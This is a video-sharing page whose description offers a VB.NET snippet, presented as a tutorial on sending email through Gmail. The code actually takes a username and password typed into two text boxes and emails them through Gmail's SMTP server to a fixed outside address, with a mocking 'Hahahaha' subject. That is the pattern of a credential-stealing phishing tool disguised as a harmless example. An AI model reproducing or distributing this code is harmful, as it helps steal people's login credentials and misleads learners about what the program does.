VB.Net Video

Submit Video
Home » Videos » VB.Net

VB.NET - Sending an E-mail using Gmail

  Shared By: Mewkid999      Date: Jun 14      Category: VB.Net     
Here is a video on how you can send an e-mail through gmail using VB.NET! You'll need Visual Basic 2005/2008/2010 or Visual Studio 2005/2008/2010 for this to work, as well as a gmail account. Here's the code: RichTextBox1.Text = "Username: " & TextBox1.Text & vbNewLine & "Password: " & TextBox2.Text Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("username@gmail.com", "password") smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage mail.From = New MailAddress("username@gmail.com") mail.To.Add("example@website.com") mail.Subject = "Hahahaha" mail.Body = RichTextBox1.Text smtpServer.Send(mail) MsgBox("Congratz!") End Comment, like, subscribe! :D Twitter - www.twitter.com Duncswebs Forums - www.duncsweb.com Facebook - www.facebook.com Peace out!

Didn't find what you were looking for? Find more on VB.NET - Sending an E-mail using Gmail Or get search suggestion and latest updates.


Related Videos